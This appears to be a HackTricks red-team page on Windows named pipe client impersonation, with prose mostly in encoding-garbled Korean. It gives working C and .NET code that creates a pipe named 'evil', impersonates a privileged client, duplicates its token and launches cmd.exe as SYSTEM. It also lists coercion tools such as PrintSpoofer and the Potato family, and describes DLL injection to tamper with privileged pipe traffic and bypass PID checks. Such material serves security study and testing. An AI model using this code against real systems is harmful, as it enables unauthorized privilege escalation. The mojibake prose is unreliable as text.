Named Pipe Client Impersonation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Named Pipe client impersonation์€ named-pipe ์„œ๋ฒ„ ์Šค๋ ˆ๋“œ๊ฐ€ ์—ฐ๊ฒฐ๋œ ํด๋ผ์ด์–ธํŠธ์˜ security context๋ฅผ ์ฑ„ํƒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” local privilege escalation primitive์ž…๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ SeImpersonatePrivilege ๊ถŒํ•œ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ๊ถŒํ•œ ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ(์˜ˆ: SYSTEM ์„œ๋น„์Šค)๋ฅผ ๊ณต๊ฒฉ์ž ์ œ์–ด ํŒŒ์ดํ”„์— ์—ฐ๊ฒฐํ•˜๋„๋ก ์œ ๋„ํ•˜๊ณ , ImpersonateNamedPipeClient๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์ƒ์„ฑ๋œ ํ† ํฐ์„ primary ํ† ํฐ์œผ๋กœ Duplicateํ•œ ๋’ค ํด๋ผ์ด์–ธํŠธ๋กœ์„œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ข…์ข… NT AUTHORITY\SYSTEM).

์ด ํŽ˜์ด์ง€๋Š” ํ•ต์‹ฌ ๊ธฐ๋ฒ•์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค. SYSTEM์„ ๋‹น์‹ ์˜ ํŒŒ์ดํ”„์— ๊ฐ•์ œ๋กœ ์—ฐ๊ฒฐ์‹œํ‚ค๋Š” end-to-end exploit chains์— ๋Œ€ํ•ด์„œ๋Š” ์•„๋ž˜์— ์ฐธ์กฐ๋œ Potato family pages๋ฅผ ๋ณด์„ธ์š”.

์š”์•ฝ

  • \.\pipe<random> ์ด๋ฆ„์˜ named pipe๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์—ฐ๊ฒฐ์„ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.
  • ๊ถŒํ•œ ์žˆ๋Š” ๊ตฌ์„ฑ์š”์†Œ๊ฐ€ ๊ทธ๊ฒƒ์— ์—ฐ๊ฒฐํ•˜๋„๋ก ๋งŒ๋“ญ๋‹ˆ๋‹ค (spooler/DCOM/EFSRPC/etc.).
  • ํŒŒ์ดํ”„์—์„œ ์ ์–ด๋„ ํ•œ ๊ฐœ์˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์€ ๋‹ค์Œ ImpersonateNamedPipeClient๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ํ˜„์žฌ ์Šค๋ ˆ๋“œ์—์„œ impersonation token์„ ์—ด๊ณ  DuplicateTokenEx(TokenPrimary)๋กœ primary ํ† ํฐ์„ ๋งŒ๋“  ํ›„ CreateProcessWithTokenW/CreateProcessAsUser๋กœ SYSTEM ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Requirements and key APIs

  • ํ˜ธ์ถœ ํ”„๋กœ์„ธ์Šค/์Šค๋ ˆ๋“œ๊ฐ€ ์ผ๋ฐ˜์ ์œผ๋กœ ํ•„์š”๋กœ ํ•˜๋Š” ๊ถŒํ•œ:
  • SeImpersonatePrivilege: ์—ฐ๊ฒฐ๋œ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ impersonateํ•˜๊ณ  CreateProcessWithTokenW๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • ๋˜๋Š” SYSTEM์„ ์ž„์‹œ๋กœ ๊ฐ€์žฅํ•œ ๋‹ค์Œ CreateProcessAsUser๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” SeAssignPrimaryTokenPrivilege์™€ SeIncreaseQuotaPrivilege๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด ๊ถŒํ•œ๋“ค์€ SYSTEM์„ ์ž„์‹œ๋กœ ๊ฐ€์žฅํ•˜๊ณ  ์žˆ์„ ๋•Œ ์ถฉ์กฑ๋ฉ๋‹ˆ๋‹ค).
  • ์‚ฌ์šฉ๋˜๋Š” ํ•ต์‹ฌ API:
  • CreateNamedPipe / ConnectNamedPipe
  • ReadFile/WriteFile (์ž„์‹œ ์œ„์ž„ ์ „์— ์ ์–ด๋„ ํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์–ด์•ผ ํ•จ)
  • ImpersonateNamedPipeClient ๋ฐ RevertToSelf
  • OpenThreadToken, DuplicateTokenEx(TokenPrimary)
  • CreateProcessWithTokenW ๋˜๋Š” CreateProcessAsUser
  • Impersonation level: ๋กœ์ปฌ์—์„œ ์œ ์šฉํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ํด๋ผ์ด์–ธํŠธ๊ฐ€ SecurityImpersonation์„ ํ—ˆ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๋งŽ์€ ๋กœ์ปฌ RPC/named-pipe ํด๋ผ์ด์–ธํŠธ์˜ ๊ธฐ๋ณธ๊ฐ’). ํด๋ผ์ด์–ธํŠธ๋Š” ํŒŒ์ดํ”„๋ฅผ ์—ด ๋•Œ SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION๋กœ ์ด๋ฅผ ๋‚ฎ์ถœ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ตœ์†Œ Win32 ์›Œํฌํ”Œ๋กœ (C)

// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
#include <stdio.h>

int main(void) {
LPCSTR pipe = "\\\\.\\pipe\\evil";
HANDLE hPipe = CreateNamedPipeA(
pipe,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 0, 0, 0, NULL);

if (hPipe == INVALID_HANDLE_VALUE) return 1;

// Wait for privileged client to connect (see Triggers section)
if (!ConnectNamedPipe(hPipe, NULL)) return 2;

// Read at least one message before impersonation
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);

// Impersonate the last message sender
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368

// Extract and duplicate the impersonation token into a primary token
HANDLE impTok = NULL, priTok = NULL;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;

// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
0, NULL, NULL, &si, &pi)) {
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

RevertToSelf(); // Restore original context
return 0;
}

Notes:

  • If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didnโ€™t restrict impersonation to Identification level.
  • Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.

.NET ๊ฐ„๋‹จ ์˜ˆ์ œ

In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.

using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
static void Main(){
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
s.WaitForConnection();
// Ensure client sent something so the token is available
s.RunAsClient(() => {
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
});
}
}

Common triggers/coercions to get SYSTEM to your pipe

These techniques coerce privileged services to connect to your named pipe so you can impersonate them:

  • Print Spooler RPC trigger (PrintSpoofer)
  • DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
  • EFSRPC pipes (EfsPotato/SharpEfsPotato)

See detailed usage and compatibility here:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:

From High Integrity to SYSTEM with Name Pipes

Service Triggers

Named Pipe IPC Abuse & MITM (DLL Injection, API Hooking, PID Validation Bypass)

Named-pipe๋กœ ๊ฐ•ํ™”๋œ ์„œ๋น„์Šค๋„ ์‹ ๋ขฐ๋œ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๊ณ„์ธกํ•˜๋ฉด ์—ฌ์ „ํžˆ ํƒˆ์ทจ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. pipetap ๊ฐ™์€ ๋„๊ตฌ๋Š” ํด๋ผ์ด์–ธํŠธ์— ํ—ฌํผ DLL์„ ์ฃผ์ž…ํ•ด ํŠธ๋ž˜ํ”ฝ์„ ํ”„๋ก์‹œํ•˜๊ณ , SYSTEM ์„œ๋น„์Šค๊ฐ€ ์†Œ๋น„ํ•˜๊ธฐ ์ „์— ๊ถŒํ•œ ์žˆ๋Š” IPC๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Inline API hooking inside trusted processes

  • ํ—ฌํผ DLL์„ ์ž„์˜์˜ ํด๋ผ์ด์–ธํŠธ์— ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค (OpenProcess โ†’ CreateRemoteThread โ†’ LoadLibrary).
  • DLL์€ Detours๋กœ ReadFile, WriteFile ๋“ฑ์„ ํ›…ํ•˜์ง€๋งŒ, GetFileType๊ฐ€ FILE_TYPE_PIPE๋ฅผ ๋ณด๊ณ ํ•  ๋•Œ๋งŒ ๋™์ž‘ํ•˜์—ฌ ๊ฐ ๋ฒ„ํผ/๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์ œ์–ด์šฉ ํŒŒ์ดํ”„์— ๋ณต์‚ฌํ•˜๊ณ  ํŽธ์ง‘/์‚ญ์ œ/์žฌ์ƒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ ๋’ค ์›๋ž˜ API๋กœ ๋ณต๊ท€์‹œํ‚ต๋‹ˆ๋‹ค.
  • ํ•ฉ๋ฒ•์  ํด๋ผ์ด์–ธํŠธ๋ฅผ Burp-style ํ”„๋ก์‹œ๋กœ ๋ฐ”๊ฟ” UTF-8/UTF-16/raw ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ผ์‹œ์ •์ง€ํ•˜๊ฑฐ๋‚˜, ์—๋Ÿฌ ๊ฒฝ๋กœ๋ฅผ ์œ ๋„ํ•˜๊ฑฐ๋‚˜, ์‹œํ€€์Šค๋ฅผ ์žฌ์ƒํ•˜๊ฑฐ๋‚˜ JSON ํŠธ๋ ˆ์ด์Šค๋ฅผ ๋‚ด๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Remote client mode to defeat PID-based validation

  • ํ—ˆ์šฉ ๋ชฉ๋ก์— ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ์— ์ฃผ์ž…ํ•œ ๋’ค GUI์—์„œ ํ•ด๋‹น ํŒŒ์ดํ”„์™€ ๊ทธ PID๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.
  • DLL์€ ์‹ ๋ขฐ๋œ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ CreateFile/ConnectNamedPipe๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  I/O๋ฅผ ๋‹ค์‹œ ์ „๋‹ฌํ•˜๋ฏ€๋กœ ์„œ๋ฒ„๋Š” ์—ฌ์ „ํžˆ ์ •๋‹นํ•œ PID/image๋ฅผ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค.
  • GetNamedPipeClientProcessId๋‚˜ ์„œ๋ช…๋œ ์ด๋ฏธ์ง€ ๊ฒ€์‚ฌ์— ์˜์กดํ•˜๋Š” ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

Fast enumeration and fuzzing

  • pipelist๋Š” \\.\pipe\*๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ACLs/SIDs๋ฅผ ํ‘œ์‹œํ•œ ํ›„ ์ฆ‰์‹œ ํƒ์นจ์„ ์œ„ํ•ด ํ•ญ๋ชฉ์„ ๋‹ค๋ฅธ ๋ชจ๋“ˆ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • ํŒŒ์ดํ”„ ํด๋ผ์ด์–ธํŠธ/๋ฉ”์‹œ์ง€ ์ปดํฌ์ €๋Š” ์ž„์˜์˜ ์ด๋ฆ„์— ์—ฐ๊ฒฐํ•ด UTF-8/UTF-16/raw-hex ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค; ์บก์ฒ˜๋œ ๋ธ”๋กญ์„ ๊ฐ€์ ธ์™€ ํ•„๋“œ๋ฅผ ๋ณ€ํ˜•ํ•˜๊ณ  ์žฌ์ „์†กํ•˜์—ฌ deserializers๋‚˜ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ช…๋ น ๋™์‚ฌ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
  • ํ—ฌํผ DLL์€ ๋ฃจํ”„๋ฐฑ TCP ๋ฆฌ์Šค๋„ˆ๋ฅผ ํ˜ธ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์–ด tooling/fuzzers๊ฐ€ Python SDK๋ฅผ ํ†ตํ•ด ์›๊ฒฉ์œผ๋กœ ํŒŒ์ดํ”„๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
pip install pipetap
import pipetap
client = pipetap.Client(("127.0.0.1", 47001))
client.write(b"OP\x00\x01...")

TCP bridge์™€ VM snapshot restores๋ฅผ ๊ฒฐํ•ฉํ•˜์—ฌ ์ทจ์•ฝํ•œ IPC parsers์˜ ์ถฉ๋Œ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜์„ธ์š”.

์šด์˜ ๊ณ ๋ ค์‚ฌํ•ญ

  • Named pipes๋Š” ์ง€์—ฐ์ด ๊ฑฐ์˜ ์—†์œผ๋ฏ€๋กœ ๋ฒ„ํผ๋ฅผ ํŽธ์ง‘ํ•˜๋Š” ๋™์•ˆ ๊ธด ์ผ์‹œ์ •์ง€๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์ทจ์•ฝํ•œ ์„œ๋น„์Šค๊ฐ€ ๋ฐ๋“œ๋ฝ์— ๋น ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Overlapped/completion-port I/O ์ปค๋ฒ„๋ฆฌ์ง€๋Š” ๋ถ€๋ถ„์ ์ด๋ฏ€๋กœ ์˜ˆ์™ธ ์ผ€์ด์Šค๋ฅผ ์˜ˆ์ƒํ•˜์„ธ์š”.
  • Injection์€ ํƒ์ง€ ๊ฐ€๋Šฅํ•˜๊ณ  ์„œ๋ช…๋˜์ง€ ์•Š์•˜์œผ๋ฏ€๋กœ ์€๋ฐ€ํ•œ implant๋ผ๊ธฐ๋ณด๋‹ค ์‹คํ—˜์‹ค/exploit-dev ๋ณด์กฐ ๋„๊ตฌ๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š”.

๋ฌธ์ œ ํ•ด๊ฒฐ ๋ฐ ์œ ์˜์‚ฌํ•ญ

  • ImpersonateNamedPipeClient๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ํŒŒ์ดํ”„์—์„œ ์ ์–ด๋„ ํ•˜๋‚˜์˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค; ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ERROR_CANNOT_IMPERSONATE (1368)๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION์œผ๋กœ ์—ฐ๊ฒฐํ•˜๋ฉด ์„œ๋ฒ„๋Š” ์™„์ „ํ•œ ์ž„ํผ์†Œ๋„ค์ด์…˜์„ ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค; GetTokenInformation(TokenImpersonationLevel)์„ ํ†ตํ•ด ํ† ํฐ์˜ impersonation level์„ ํ™•์ธํ•˜์„ธ์š”.
  • CreateProcessWithTokenW๋Š” ํ˜ธ์ถœ์ž์—๊ฒŒ SeImpersonatePrivilege๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ERROR_PRIVILEGE_NOT_HELD (1314)๋กœ ์‹คํŒจํ•˜๋ฉด ๋จผ์ € SYSTEM์œผ๋กœ ์ž„ํผ์†Œ๋„ค์ดํŠธํ•œ ํ›„ CreateProcessAsUser๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ํŒŒ์ดํ”„๋ฅผ ๊ฐ•ํ™”ํ–ˆ๋‹ค๋ฉด ํŒŒ์ดํ”„์˜ security descriptor๊ฐ€ ๋Œ€์ƒ ์„œ๋น„์Šค๊ฐ€ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”; ๊ธฐ๋ณธ์ ์œผ๋กœ \.\pipe ์•„๋ž˜์˜ ํŒŒ์ดํ”„๋Š” ์„œ๋ฒ„์˜ DACL์— ๋”ฐ๋ผ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ